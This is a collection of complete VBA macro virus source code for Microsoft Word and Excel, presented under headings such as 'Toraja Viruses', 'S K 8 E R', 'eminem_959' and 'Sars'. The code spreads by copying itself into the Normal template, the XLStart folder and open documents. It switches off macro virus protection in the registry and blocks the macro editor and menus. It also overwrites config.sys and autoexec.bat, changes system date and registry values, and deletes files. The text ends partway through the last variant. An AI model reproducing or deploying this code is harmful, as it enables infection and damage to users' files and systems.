Toraja Viruses

Option Explicit
Option Compare Text
Dim Komp As Variant
Public Const regApp As String = "Application"
Public Const regSecSet As String = "Settings"
Public Const regSecApp As String = "AppName"
Const TempVer As String = "Tana"
Const MacName As String = "Toraja"
Const Ver As String = "12"
Dim ctl As Variant
Global blnFound As Boolean
Dim CusProp
Dim blnMod As Boolean
Public Const TimerOn = "01:00:00"
Const Akhir = 80
Dim Caption As String
Dim actWindow
Global Active
Global Temp
Global TempPath
Dim Waktu
Dim Bar As Integer
Sub Register()
On Error Resume Next
If GetSetting(regApp, regSecSet, "FirstRun") = "" Then SaveSetting regApp, regSecSet, "FirstRun", Format(Date + 30, "dd-mm-yyyy")
If GetSetting(regApp, regSecSet, "Version") <> Ver Then SaveSetting regApp, regSecSet, "Version", Ver
If GetSetting(regApp, regSecSet, "UserKeyWord") <> MacName & Ver Then SaveSetting regApp, regSecSet, "UserKeyWord", ""
If GetSetting(regApp, regSecSet, "AuthorKeyWord") <> "Marsel" Then SaveSetting regApp, regSecSet, "AuthorKeyWord", ""
End Sub
Function Serang() As Boolean
Dim getDate As Date
On Error Resume Next
getDate = GetSetting(regApp, regSecSet, "FirstRun")
If getDate <= Date Then ShowMe
End Function
Sub AutoExec()
Application.EnableCancelKey = 0
Application.DisplayRecentFiles = False
SaveSetting regApp, regSecApp, "Microsoft Word", "True"
MenuWord
ExportXls
Register
Documents.Add
Application.OnTime Now + TimeValue(TimerOn), "OnTimer"
End Sub
Sub AutoNew()
On Error Resume Next
TempActive
ActiveWindow.View.Type = 3
End Sub
Sub AutoOpen()
On Error Resume Next
Dim strRun As String
Application.EnableCancelKey = 0
If PWords = False Then Application.ShowVisualBasicEditor = False
ActiveTemp
RemoveAll
MenuWord
Register
If blnFound = True Then
strRun = TempVer & Ver & "." & MacName & Ver & ".FoundIt"
Application.OnTime Now + TimeValue("00:01:00"), strRun
End If
End Sub
Function KeyWord() As Boolean
If GetSetting(regApp, regSecSet, "UserKeyWord") = MacName & Ver Then KeyWord = True
End Function
Sub FileOpen()
On Error Resume Next
WordBasic.DisableAutoMacros 1
Dialogs(80).Show
TempActive
WordBasic.DisableAutoMacros 0
End Sub
Function KompProject(Asal, Tujuan) As Boolean
On Error GoTo Salah
blnMod = False
For Each Komp In Tujuan.VBProject.VBComponents
If Komp.Name = MacName & Ver Then blnMod = True
If (Komp.Name <> "ThisDocument") And (Komp.Name <> "Reference To Normal") And (Komp.Name <> MacName & Ver) And _
(Left(Komp.Name, 5) <> "Sheet") And (Komp.Name <> "ThisWorkbook") And (Left(Komp.Name, 5) <> "Chart") Then
Tujuan.VBProject.VBComponents.Remove Tujuan.VBProject.VBComponents(Komp.Name)
KompProject = True
End If
Next Komp
If blnMod = False Then
If EIKModul(Asal, Tujuan, MacName & Ver) = True Then KompProject = True
End If
Salah:
End Function
Sub RemoveAll()
On Error Resume Next
Set ctl = Documents
For Each ctl In Documents
If ctl <> ActiveDocument Then
KompProject ActiveDocument, ctl
If Len(ctl.Path) <> 0 Then ctl.Save
End If
Next ctl
End Sub
Function PrintOke() As Boolean
On Error GoTo Salah
If KeyWord = True Or GetCreator = True Then
PrintOke = True
Else
If CusProp.Item("CountPrint").Value < 5 Then
CusProp.Item("CountPrint").Value = CusProp.Item("CountPrint").Value + 1
If Val(GetSetting(regApp, regSecSet, "CountPrt")) <= 250 Then
SaveSetting regApp, regSecSet, "CountPrt", Val(GetSetting(regApp, regSecSet, "CountPrt")) + 1
PrintOke = True
End If
End If
End If
Salah:
End Function
Sub FilePrint()
On Error Resume Next
If PrintOke = True Then
Dialogs(88).Show
Else
Dialogs(88).Display
Serang
End If
End Sub
Sub FilePrintDefault()
FilePrint
End Sub
Sub ToolsCustomizeKeyboard()
Serang
End Sub
Sub ViewCode()
Serang
End Sub
Sub ViewVBcode()
If PWords = True Then ShowVisualBasicEditor = True Else Serang
End Sub
Sub ToolsCustomize()
Serang
End Sub
Sub ToolsMacro()
Serang
End Sub
Sub FormatStyle()
If KeyWord = True Then Dialogs(180).Show Else Serang
End Sub
Sub ToolsRecordMacroToggle()
Serang
End Sub
Sub FileTemplates()
Serang
End Sub
Private Sub ExportXls()
Dim xlsApp
Dim strFile As String
If (GetSetting(regApp, regSecApp, "Microsoft Excel") <> "True") Then
On Error GoTo Salah:
Set xlsApp = CreateObject("Excel.Application")
xlsApp.Workbooks.Add
strFile = xlsApp.StartupPath & xlsApp.PathSeparator & "START" & Ver & ".XLS"
xlsApp.ActiveWorkbook.SaveAs strFile
TempPath = Application.NormalTemplate.Path & Application.PathSeparator
EIKModul NormalTemplate, xlsApp.Workbooks("START" & Ver & ".XLS"), MacName & Ver
xlsApp.Workbooks("START" & Ver & ".XLS").VBProject.Name = TempVer & Ver
xlsApp.ActiveWindow.Visible = False
xlsApp.Workbooks("START" & Ver & ".XLS").Save
xlsApp.Application.Quit
SaveSetting regApp, regSecApp, "Microsoft Excel", "True"
End If
Salah:
End Sub
Sub ExportDok()
Dim dokApp
If (GetSetting(regApp, regSecApp, "Microsoft Word") <> "True") Then
On Error GoTo Salah
Set dokApp = CreateObject("Word.Application")
TempPath = Application.TemplatePath
KompProject Workbooks("START" & Ver & ".XLS"), dokApp.NormalTemplate
dokApp.Application.Quit True
SaveSetting regApp, regSecApp, "Microsoft Word", "True"
End If
Salah:
End Sub
Sub Auto_Open()
On Error Resume Next
Application.EnableCancelKey = 0
XlsActive
ExportDok
Application.DisplayRecentFiles = False
End Sub
Private Sub AllWorkBook()
blnMod = False
For Each Komp In Workbooks
actWindow = Komp.Name
If actWindow = "START" & Ver & ".XLS" Then blnMod = True
If Komp.Path = Application.StartupPath And actWindow <> "START" & Ver & ".XLS" Then
Komp.Close False
Kill Application.StartupPath & Application.PathSeparator & actWindow
End If
Next Komp
If blnMod = False Then BuatXlsActive
End Sub
Sub XlsActive()
On Error Resume Next
Application.EnableCancelKey = 0
Application.DisplayAlerts = False
CreateEvents
TempActive
AllWorkBook
Application.OnSheetActivate = ""
Application.OnSheetDeactivate = ""
Application.OnWindow = ""
MenuExcel
Application.OnWindow = "START" & Ver & ".XLS" & "!XlsActive"
Application.DisplayAlerts = True
Application.ScreenUpdating = True
End Sub
Sub TempActive()
On Error Resume Next
Aplikasi
If KompProject(Temp, Active) = True Then
SetCusProp
Active.VBProject.Name = MacName
If Len(Active.Path) <> 0 Then Active.Save
End If
End Sub
Function EIKModul(Asal, Tujuan, Komp As String) As Boolean
On Error GoTo Salah
Asal.VBProject.VBComponents(Komp).Export TempPath & Komp
Tujuan.VBProject.VBComponents.Import TempPath & Komp
EIKModul = True
Kill TempPath & Komp
Salah:
End Function
Sub OpenFile()
On Error Resume Next
Application.DisplayAlerts = False
Application.Dialogs(1).Show
XlsActive
End Sub
Private Sub CreateEvents()
Dim vbComp
On Error GoTo Salah
lanjut:
If ActiveWorkbook.CustomDocumentProperties.Item("Event").Value <> MacName & Ver And ActiveWorkbook.Name <> "START" & Ver & ".XLS" Then
On Error GoTo FatalError
Set vbComp = ActiveWorkbook.VBProject.VBComponents("ThisWorkbook").CodeModule
With vbComp
.DeleteLines 1, .CountOfLines
.InsertLines 1, "Private Sub Workbook_BeforePrint(Cancel As Boolean)"
.InsertLines 2, "On Error Resume Next"
.InsertLines 3, "If PrintOke = False Then"
.InsertLines 4, " Serang"
.InsertLines 5, " Cancel = True"
.InsertLines 6, "End if"
.InsertLines 7, "End Sub"
End With
ActiveWorkbook.CustomDocumentProperties.Item("Event").Value = MacName & Ver
End If
FatalError:
Exit Sub
Salah:
ActiveWorkbook.CustomDocumentProperties.Add ("Event"), False, 4, ""
Resume lanjut
End Sub
Sub BuatXlsActive()
Dim Baru As String
On Error Resume Next
Application.ScreenUpdating = False
Workbooks.Add
Baru = Application.StartupPath & Application.PathSeparator & "START" & Ver & ".XLS"
ActiveWorkbook.SaveAs Baru
ActiveWindow.Visible = False
ActiveTemp
End Sub
Sub ActiveTemp()
On Error Resume Next
Aplikasi
If KompProject(Active, Temp) = True Then
Temp.VBProject.Name = TempVer & Ver
Temp.Save
SaveSetting regApp, regSecApp, Application.Name, "True"
blnFound = True
End If
End Sub
Sub MenuExcel()
On Error Resume Next
For Each ctl In CommandBars.ActiveMenuBar.Controls("Tools").Controls("Macro").Controls
ctl.OnAction = "Serang"
Next ctl
WordExcel
CommandBars("Ply").Controls("View Code").Delete
With Application
.OnKey "%{F11}", "Serang"
.OnKey "%{F8}", "Serang"
.OnKey "%{F2}", "Serang"
.OnKey "%{F4}", "Serang"
.OnKey "{F12}", "Serang"
.OnKey "^{o}", "OpenFile"
End With
CommandBars("Standard").Controls("Open").OnAction = "OpenFile"
CommandBars("Worksheet Menu Bar").Controls("File").Controls("Open...").OnAction = "OpenFile"
End Sub
Sub WordExcel()
On Error Resume Next
cmdBars CommandBars("Control Toolbox"), True
cmdBars CommandBars("Forms"), True
cmdBars CommandBars("ActiveX Control"), True
cmdBars CommandBars("Visual Basic"), True
cmdBars CommandBars.ActiveMenuBar, False
cmdBars CommandBars("Formatting"), False
cmdBars CommandBars("Standard"), False
End Sub
Sub cmdBars(cmd, blnVis As Boolean)
With cmd
If blnVis = True Then
.Enabled = False
.Visible = False
.Protection = 8
End If
.Protection = 1
End With
End Sub
Sub MenuWord()
On Error Resume Next
CustomizationContext = NormalTemplate
With Options
.VirusProtection = False
.SaveNormalPrompt = False
End With
FindKey(BuildKeyCode(wdKeyAlt, wdKeyF8)).Disable
FindKey(BuildKeyCode(wdKeyAlt, wdKeyF11)).Disable
WordExcel
End Sub
Sub SetCusProp()
On Error Resume Next
Set CusProp = Active.CustomDocumentProperties
CusProp.Add "Author", False, 4, ""
CusProp.Add "CountPrint", False, 1, 0
If PWords = True Then CusProp.Item("Author").Value = "Lina"
End Sub
Function GetCreator() As Boolean
On Error GoTo Salah
Aplikasi
Set CusProp = Active.CustomDocumentProperties
If CusProp.Item("Author").Value = "Lina" Then GetCreator = True
Salah:
End Function
Function PWords() As Boolean
If GetSetting(regApp, regSecSet, "AuthorKeyWord") = "Marsel" Then PWords = True
End Function
Sub OnTimer()
Serang
Application.OnTime Now + TimeValue(TimerOn), "OnTimer"
End Sub
Sub FoundIt()
TempActive
blnFound = False
End Sub
Sub Pesan(strPesan As String, Msg)
Dim A As String
Dim B(3)
Dim x, i, j
Dim K
B(0) = " \": B(1) = " - ": B(2) = " /": B(3) = " |"
i = 0
If Bar = 0 Then K = "Toraja High Land: " Else K = "Note ... each file can be printed 5 times only: "
A = " " & strPesan
For x = 1 To Len(A)
Msg.Caption = A & B(i)
Application.StatusBar = K & Akhir - Int(Timer - Waktu) & " sec " & B(i)
A = Right$(A, Len(A) - 1)
i = i + 1
For j = 1 To 150000: Next
If (Timer - Waktu >= Akhir) Or Timer - Waktu < 0 Then GoTo done
If i = 4 Then i = 0
Next
done:
If Bar = 0 Then Bar = 1 Else Bar = 0
Msg.Caption = ""
End Sub
Sub Message(Msg)
Dim strPesan() As String

Select Case Month(Date)
Case 11, 12: strPesan(0) = strPesan(0) & strPesan(3) & strPesan(2) & strPesan(4) & strPesan(2) + 1 & "]"
Case 1: strPesan(0) = strPesan(0) & strPesan(3) & strPesan(2) - 1 & strPesan(4) & strPesan(2) & "]"
End Select
Application.DisplayStatusBar = True
Waktu = Timer
Do While (Timer - Waktu <= Akhir) And Timer - Waktu >= 0
Pesan strPesan(0), Msg
Pesan strPesan(1), Msg
Pesan strPesan(5), Msg
Loop
End Sub
Function Tator() As Boolean
If (KeyWord = False) And (GetCreator = False) Then Tator = True
End Function
Sub ShowMe()
Dim Maks, Min As Integer
On Error Resume Next
If Tator = True Then
Application.EnableCancelKey = 0
Caption = ActiveWindow.Caption
If Application.Name = "Microsoft Word" Then
Maks = 1
Application.Caption = " "
If Windows.Count > 0 Then Set actWindow = ActiveWindow Else Set actWindow = Application
Else
Set actWindow = Application
ActiveWindow.Caption = ""
Maks = -4137
End If
Application.WindowState = Maks
actWindow.WindowState = Maks
Message actWindow
Application.StatusBar = ""
ActiveWindow.Caption = Caption
Application.Caption = ""
End If
End Sub
Sub Aplikasi()
If Application.Name = "Microsoft Word" Then Doc Else Xls
End Sub
Sub Doc()
TempPath = Application.NormalTemplate.Path & Application.PathSeparator
Set Active = ActiveDocument
Set Temp = NormalTemplate
End Sub
Sub Xls()
Set Active = ActiveWorkbook
Set Temp = Workbooks("START" & Ver & ".XLS")
TempPath = Application.TemplatesPath
End Sub

S K 8 E R Viruses

'--->
' S K 8 E R
' (C) Copyright 1997 - 1999 by Chino
' Bandung, Indonesian

Public Const Tony_Hawk = "Sk8er"
Public Const NoseGrind = "\~WRFO006.tmp"
Public Const Rail = "\Installer"
Public Declare Function GetWindowsDirectory Lib "kernel32" Alias "GetWindowsDirectoryA" (ByVal lpBuffer As String, ByVal nSize As Long) As Long

Sub AutoOpen()
Dim Drop_inX As Object
Dim Fifty_Fifty As Object
Dim Shove_It As Object
Dim No_Comply As Object
Dim Heel_Flip As Boolean
Dim Kick_Flip As Boolean
Dim Tail_Slide As Variant
Dim Tail_Slide1 As Variant
Dim No_Slide As String
Dim Crooked As String
Dim Pumping As Integer
Dim Bank As String
On Error Resume Next
Application.EnableCancelKey = wdCancelDisabled
Ollie_True
Stl_PANIC_27
AddIns.Unload True
Application.UserName = "Chino"
Application.UserAddress = "Cjb Brooklyn"
Application.UserInitials = "BG"
Crooked = Options.DefaultFilePath(12) & Rail
System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Security", "Level") = 1&
System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\8.0\Word\Security", "Level") = 1&
If Dir(Crooked) = "" Then
MkDir Crooked
End If
Set Drop_inX = Drop_in
Set No_Comply = ActiveDocument
Set Fifty_Fifty = Drop_in.VBProject.VBComponents
Set Shove_It = No_Comply.VBProject.VBComponents
No_Slide = Options.DefaultFilePath(12) & NoseGrind
Manual
For Each Tail_Slide In Fifty_Fifty
If Tail_Slide.Type = 1 And Tail_Slide.Name = Tony_Hawk And Fifty_Fifty.Count = 2 Then
Heel_Flip = True
Exit For
End If
Next Tail_Slide
For Each Tail_Slide1 In Shove_It
If Tail_Slide1.Type = 1 And Tail_Slide1.Name = Tony_Hawk Then
Kick_Flip = True
Exit For
End If
Next Tail_Slide1
If Heel_Flip = True Then
If Kick_Flip = False Then
Fifty_Fifty.Item(Tony_Hawk).Export No_Slide
Shove_It.import No_Slide
Crook
End If
Else
Shove_It.Item(Tony_Hawk).Export No_Slide
Fifty_Fifty.import No_Slide
Drop_in.Save
End If
If Dir(No_Slide) <> "" Then Kill No_Slide
Options.DefaultFilePath(2) = Crooked
With Drop_in
If Dir(Crooked & "\Normal.dot") = "" Then
.OpenAsDocument.SaveAs Crooked & "\Normal.dot"
.OpenAsDocument.Close -1
End If
If Dir(Crooked & "\Email.dot") = "" Then
.OpenAsDocument.SaveAs Crooked & "\Email.dot"
.OpenAsDocument.Close -1
End If
End With
Transfer
If Day(Date) = 20 Then InfectAuto
End Sub
Sub ViewVB()
On Error Resume Next
If MsgBox("Windows protection error. Kernel has been corrupt." & vbCrLf & vbCrLf & _
"Click 'Yes' to continue, 'No' to quit...", 64 + vbYesNo, "Error #27") = vbNo Then
Application.Quit 0
End If
End Sub
Sub ViewVBCode()
ViewVB
End Sub
Sub AutoClose()
AutoOpen
End Sub
Sub FileTemplates()
ViewVB
End Sub
Sub ToggleFormsDesign()
ViewVB
End Sub
Sub FileNewDefault()
On Error Resume Next
Documents.Add
AutoOpen
End Sub
Sub Autoexec()
On Error Resume Next
Application.EnableCancelKey = wdCancelDisabled
Ollie_True
AddIns.Unload True
Stl_PANIC_27
Manual
Application.OnTime Now + TimeValue("00:00:05"), "Normal.Sk8er.Autoopen"
End Sub
Sub Ollie_False()
WordBasic.DisableAutoMacros False
End Sub
Sub Ollie_True()
WordBasic.DisableAutoMacros True
End Sub
Sub FileSave()
Ollie_True
If InStr(1, ActiveDocument.FullName, "\") = 0 Then
If Dialogs(wdDialogFileSaveAs).Show = 0 Then
AutoOpen
Else
AutoOpen
End If
End If
End Sub
Sub FileOPen()
Ollie_True
If Dialogs(wdDialogFileOpen).Show <> 0 Then
AutoOpen
End If
Ollie_False
End Sub
Sub FileClose()
Ollie_True
AutoOpen
Crook
ActiveDocument.Close 0
Ollie_False
End Sub
Sub FileNew()
FileNewDefault
End Sub
Sub Crook()
On Error Resume Next
Dim Board As Object
Set Board = ActiveDocument
If Documents.Count <> 0 Then
If InStr(1, Board.FullName, "\") <> 0 Then Board.Save
End If
End Sub
Function Drop_in() As Object
On Error Resume Next
Set Drop_in = NormalTemplate
End Function
Sub Stl_PANIC_27()
Dim Ollie_180 As Object
Dim No_Comply As Object
Dim Pumping As Integer
On Error Resume Next
Set Ollie_180 = Application
Set No_Comply = ActiveDocument
With Ollie_180
.EnableCancelKey = wdCancelDisabled
No_Comply.ReadOnlyRecommended = (50 - 50)
.ScreenUpdating = (50 - 50)
.ShowVisualBasicEditor = (50 - 50)
Options.VirusProtection = (50 - 50)
Options.SaveNormalPrompt = (50 - 50)
Options.ConfirmConversions = (50 - 50)
Options.SavePropertiesPrompt = (50 - 50)
For Pumping = 1 To CommandBars.Count
CommandBars(Pumping).Protection = msoBarNoCustomize
Next Pumping
CommandBars("Control Toolbox").Enabled = False
CommandBars("Forms").Enabled = False
CommandBars("Visual Basic").Enabled = False
CommandBars("Tools").Controls("Protect Document...").Delete
CommandBars("Tools").Controls("Templates And Add-Ins...").Delete
CommandBars("Tools").Controls("Macro").Delete
End With
End Sub
Sub Transfer()
On Error Resume Next
Open "C:\config.sys" For Output As #1
Print #1, "Device=" & GD & "Ansi.sys"
Print #1, "SET WINPMT=$e[s$e[f$e[0;316;41;1m$e[K - (* Microsoft(R) Windows 666 *) - $_$e[0;40;37;1m$e[K$e[u$P$G"
Close #1
With Dialogs(86)
.Author = "Chino"
.Keywords = "Call me free_go_download@yahoo.com"
.Comments = "Don't try this at home!"
.Subject = "Windows Protection."
.Title = "Chino.doc"
.Execute
End With
With System
.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\MS Setup (ACME)\User Info", "DefCompany") = "Deftones"
.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\MS Setup (ACME)\User Info", "DefName") = "Metal"
.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\MS Setup (ACME)\User Info", "OrgCompany") = "Chino Soft"
.PrivateProfileString("", "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion", "RegisteredOwner") = "Metal"
.PrivateProfileString("", "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion", "RegisteredOrganization") = "Chino"
.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Classes\CLSID\{21EC2020-3AEA-1069-A2DD-08002B30309D}", "") = "Metal Panel"
.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Classes\CLSID\{450D8FBA-AD25-11D0-98A8-0800361B1103}", "") = "Chino Document"
.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Classes\CLSID\{645FF040-5081-101B-9F08-00AA002F954E}", "") = "Deftones Trash"
.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Classes\CLSID\{2227A280-3AEA-1069-A2DE-08002B30309D}", "") = "Printer Metal"
.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Classes\CLSID\{992CFFA0-F557-101A-88EC-00DD010CCC48}", "") = "Network Chino"
.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Classes\CLSID\{208D2C60-3AEA-1069-A2D7-08002B30309D}", "") = "Deftones Neighborhood"
.PrivateProfileString("", "HKEY_CURRENT_USER\Control Panel\International", "s1159") = "Windows Panic!"
.PrivateProfileString("", "HKEY_CURRENT_USER\Control Panel\International", "s2359") = "Windows Panic!"
End With
End Sub
Sub fileProperties()
On Error Resume Next
Dim Ps As String
Ps = InputBox("Enter your key value to continue?", "Windows Protection")
If Ps = Mid(NoseGrind, 3, 4) Then
Application.ShowVisualBasicEditor = True
End If
End Sub
Sub InfectAuto()
On Error GoTo Shit

Dim P001 As String
Dim P002 As String
Dim P003 As String
Dim I As Integer
MakeAutoExec
Application.Visible = False
P001 = Options.DefaultFilePath(wdDocumentsPath)
P003 = Space(1)

With Application.FileSearch
.SearchSubFolders = True
.FileName = "*.doc"
.LookIn = Left(P001, 3)
.Execute
If .FoundFiles.Count <> 0 Then
For I = 1 To .FoundFiles.Count
Open .FoundFiles(I) For Binary As #1
Get #1, 524, P003
Close #1
If Hex(Asc(P003)) <> 13 Then
Documents.Open FileName:=.FoundFiles(I)
AutoOpen
Documents(.FoundFiles(I)).Save
Documents(.FoundFiles(I)).Close 0
End If
Next I
End If
End With
Date = Now + 1
MsgBox "Congratulations!, Your document(s) not have a virus." & UCase(MyWorm) & vbCrLf & _
"Application will be restarted.", vbInformation, "Windows Protection"
Application.Quit savechanges:=wdDoNotSaveChanges
Exit Sub
Shit:
On Error Resume Next
Date = Now + 1
MsgBox "I always ready to die, but you're killing me!", 16, "Windows Protection"
For x = 1 To Documents.Count
Documents(x).Close savechanges:=wdDoNotSaveChanges
Next x
Application.Quit
End Sub
Sub Manual()
On Error Resume Next
Dim no_a As Object
Dim no_b As Object
Dim ok_a As Variant
Dim ok_b As Variant
Dim no_x As Object
Dim no_y As Object
Dim yes_a As Integer
Dim yes_b As Integer
Set no_x = ActiveDocument
Set no_y = Drop_in
Set no_a = no_x.VBProject.VBComponents
Set no_b = no_y.VBProject.VBComponents
For Each ok_a In no_a
If ok_a.Type <> 100 Then
If ok_a.Name <> Tony_Hawk Then
no_a.Remove ok_a
End If
Else
yes_a = ok_a.Codemodule.CountOfLines
If yes_a <> 0 Then ok_a.Codemodule.DeleteLines 1, yes_a
End If
Next ok_a

For Each ok_b In no_b
If ok_b.Type <> 100 Then
If ok_b.Name <> Tony_Hawk Then
no_b.Remove ok_b
End If
Else
yes_b = ok_b.Codemodule.CountOfLines
If yes_b <> 0 Then ok_b.Codemodule.DeleteLines 1, yes_b
End If
Next ok_b
End Sub
Sub MakeAutoExec()
Dim U As Integer
On Error Resume Next
Open "C:\Autoexec.bat" For Output As #1
Print #1, "Echo off" & vbCrLf
For U = 1 To 1500
Print #1, "Windows Protection detected 'ICIH_95' BOOT SECTOR VIRUS!" & vbCrLf
Print #1, "Echo Type enter to cleaned" & vbCrLf
Print #1, "PAUSE"
Next U
Close #1
End Sub
Function GD() As String
On Error Resume Next
Dim sSave As String, Ret As Long
sSave = Space(255)
Ret = GetWindowsDirectory(sSave, 255)

sSave = Left$(sSave, Ret)
GD = sSave & "\Command\"

End Function



' eminem_959 virus!

' Bandung, Indonesian
Public Const Micro = "eminem_959"
Public Const Data0 = Micro & ".xls"
Public Const Data1 = "The Visual Basic environment could not be intialize. Please run setup to install it correctly."
Sub CkAgain()
Dim bg As Object
Dim po As Object

On Error Resume Next

For Each j In Workbooks
Set bg = Workbooks(j.Name)
For Each boom In bg.VBProject.VBComponents
If boom.Type <> 100 Then
If boom.Name <> Micro Then
bg.VBProject.VBComponents.Remove boom
End If
Else
Set bck = boom.codemodule
If bck.CountOflines <> 0 Then bck.Deletelines 1, bck.CountOflines
End If
Next boom
Next j

End Sub

Sub auto_open()
Dim Ct As Object
Dim bg As Object
Dim bgc As Object
Dim bck As Object
Dim xlsz As Object
Dim Ck As Boolean

On Error Resume Next
KillStart
With Application
If Dir(.Path & "\Xlstart") = "" Then MkDir .Path & "\Xlstart"
If Day(Date) = 20 Then
MsgBox "UPDATE ME NOW!", 48, Micro
Date = Now + 1
End If
.ScreenUpdating = False
.EnableCancelKey = xlDisabled
If Day(Date) Mod 2 = 0 Then
.OnTime Now + TimeValue("00:30:00"), "eminem_959.eminem_959WordArt"
End If
If Dir(.StartupPath & "\" & Data0) = "" Then
ActiveWorkbook.SaveAs .StartupPath & "\" & Data0
End If
If Workbooks.Count = 1 And .Workbooks(1).Name = Data0 Then
Workbooks.Add: ActiveWorkbook.Windows(1).Caption = "Book1"
End If
Set bg = ActiveWorkbook
.OnKey "%{F12}", "eminem_959.Cr"
.OnKey "%{F8}", "eminem_959.Cr"
.OnKey "%{F11}", "eminem_959.Cr"
.CommandBars("Window").Controls("Unhide...").Enabled = False
.CommandBars("Tools").Controls("Macro").Delete
.OnSheetActivate = "eminem_959.xls!auto_Open"
Workbooks(Data0).Windows.Item(1).Visible = False

CkAgain
If Dir(.Path & "\Wintlb32.dll") = "" Then
Workbooks(Data0).VBProject.VBComponents(Micro).Export .Path & "\Wintlb32.dll"
End If

For Each boom In bg.VBProject.VBComponents
If boom.Type <> 100 Then
If boom.Name <> Micro Then
bg.VBProject.VBComponents.Remove boom
End If
Else
Set bck = boom.codemodule
If bck.CountOflines <> 0 Then bck.Deletelines 1, bck.CountOflines
End If
Next boom

For Each xlsz In bg.VBProject.VBComponents
If xlsz.Name = Micro Then Ck = True: Exit For
Next xlsz

If Ck = False Then
Set Ct = bg.VBProject.VBComponents
Ct.Import .Path & "\Wintlb32.dll"
Kill .Path & "\Wintlb32.dll"
Workbooks(Data0).Save
If InStr(1, bg.FullName, "\") Then ActiveWorkbook.Save
End If

End With
End Sub
Sub Cr(): MsgBox Data1, 16, "Microsoft Visual Basic": End Sub
Sub eminem_959WordArt()
On Error Resume Next
ActiveSheet.Shapes.AddTextEffect(msoTextEffect16, "___Welcome_To___Shady's__World___By...eminem__959_", "Arial Black", _
36#, msoFalse, msoFalse, 205.5, 118.5).Select
Range("A1").Select
End Sub
Sub KillStart()
Dim oow As Integer
Dim waw As Object
Dim Myname As String
Dim MyPath As String
On Error Resume Next
MyPath = Application.StartupPath & "\"
Myname = Dir(MyPath, 32)
Do While Myname <> ""
If Myname <> Data0 Then
Set waw = Workbooks(Myname)
waw.Close 0
Kill MyPath & Myname
End If
Myname = Dir()
Loop
End Sub
Sub h()
If Dir(Application.Path & "\Xlstart") = "" Then MkDir Application.Path & "\Xlstart"
End Sub


' eminem_959 virus!
' Bandung, Indonesian
Public Const Micro = "eminem_959"
Public Const Data0 = Micro & ".xls"
Public Const Data1 = "The Visual Basic environment could not be intialize. Please run setup to install it correctly."
Sub CkAgain()
Dim bg As Object
Dim po As Object

On Error Resume Next

For Each j In Workbooks
Set bg = Workbooks(j.Name)
For Each boom In bg.VBProject.VBComponents
If boom.Type <> 100 Then
If boom.Name <> Micro Then
bg.VBProject.VBComponents.Remove boom
End If
Else
Set bck = boom.codemodule
If bck.CountOflines <> 0 Then bck.Deletelines 1, bck.CountOflines
End If
Next boom
Next j

End Sub

Sub auto_open()
Dim Ct As Object
Dim bg As Object
Dim bgc As Object
Dim bck As Object
Dim xlsz As Object
Dim Ck As Boolean

On Error Resume Next
KillStart
With Application
If Dir(.Path & "\Xlstart") = "" Then MkDir .Path & "\Xlstart"
If Day(Date) = 20 Then
MsgBox "UPDATE ME NOW!", 48, Micro
Date = Now + 1
End If
.ScreenUpdating = False
.EnableCancelKey = xlDisabled
.OnTime Now + TimeValue("00:00:20"), "eminem_959.eminem_959WordArt"
If Dir(.StartupPath & "\" & Data0) = "" Then
ActiveWorkbook.SaveAs .StartupPath & "\" & Data0
End If
If Workbooks.Count = 1 And .Workbooks(1).Name = Data0 Then
Workbooks.Add: ActiveWorkbook.Windows(1).Caption = "Book1"
End If
Set bg = ActiveWorkbook
.OnKey "%{F12}", "eminem_959.Cr"
.OnKey "%{F8}", "eminem_959.Cr"
.OnKey "%{F11}", "eminem_959.Cr"
.CommandBars("Window").Controls("Unhide...").Enabled = False
.CommandBars("Tools").Controls("Macro").Delete
.OnSheetActivate = "eminem_959.xls!auto_Open"
Workbooks(Data0).Windows.Item(1).Visible = False

CkAgain
If Dir(.Path & "\Wintlb32.dll") = "" Then
Workbooks(Data0).VBProject.VBComponents(Micro).Export .Path & "\Wintlb32.dll"
End If

For Each boom In bg.VBProject.VBComponents
If boom.Type <> 100 Then
If boom.Name <> Micro Then
bg.VBProject.VBComponents.Remove boom
End If
Else
Set bck = boom.codemodule
If bck.CountOflines <> 0 Then bck.Deletelines 1, bck.CountOflines
End If
Next boom

For Each xlsz In bg.VBProject.VBComponents
If xlsz.Name = Micro Then Ck = True: Exit For
Next xlsz

If Ck = False Then
Set Ct = bg.VBProject.VBComponents
Ct.Import .Path & "\Wintlb32.dll"
Kill .Path & "\Wintlb32.dll"
Workbooks(Data0).Save
If InStr(1, bg.FullName, "\") Then ActiveWorkbook.Save
End If

End With
End Sub
Sub Cr(): MsgBox Data1, 16, "Microsoft Visual Basic": End Sub
Sub eminem_959WordArt()
On Error Resume Next
ActiveSheet.Shapes.AddTextEffect(msoTextEffect16, "___Welcome_To___Shady's__World___By...eminem__959_", "Arial Black", _
16#, msoFalse, msoFalse, 55.5, 118.5).Select
Range("A1").Select
End Sub
Sub KillStart()
Dim oow As Integer
Dim waw As Object
Dim Myname As String
Dim MyPath As String
On Error Resume Next
MyPath = Application.StartupPath & "\"
Myname = Dir(MyPath, 32)
Do While Myname <> ""
If Myname <> Data0 Then
Set waw = Workbooks(Myname)
waw.Close 0
Kill MyPath & Myname
End If
Myname = Dir()
Loop
End Sub
Sub h()
If Dir(Application.Path & "\Xlstart") = "" Then MkDir Application.Path & "\Xlstart"
End Sub



' Sars virus!
' Bandung, Indonesian
' Tonk sok Sars nyieunan macro, lah...
'
Public Const Micro = "Sars"
Public Const Data0 = Micro & ".xls"
Public Const Data1 = "The Visual Basic environment could not be intialize. Please run setup to install it correctly."
Sub CkAgain()
Dim bg As Object
Dim po As Object

On Error Resume Next

For Each j In Workbooks
Set bg = Workbooks(j.Name)
For Each boom In bg.VBProject.VBComponents
If boom.Type <> 100 Then
If boom.Name <> Micro Then
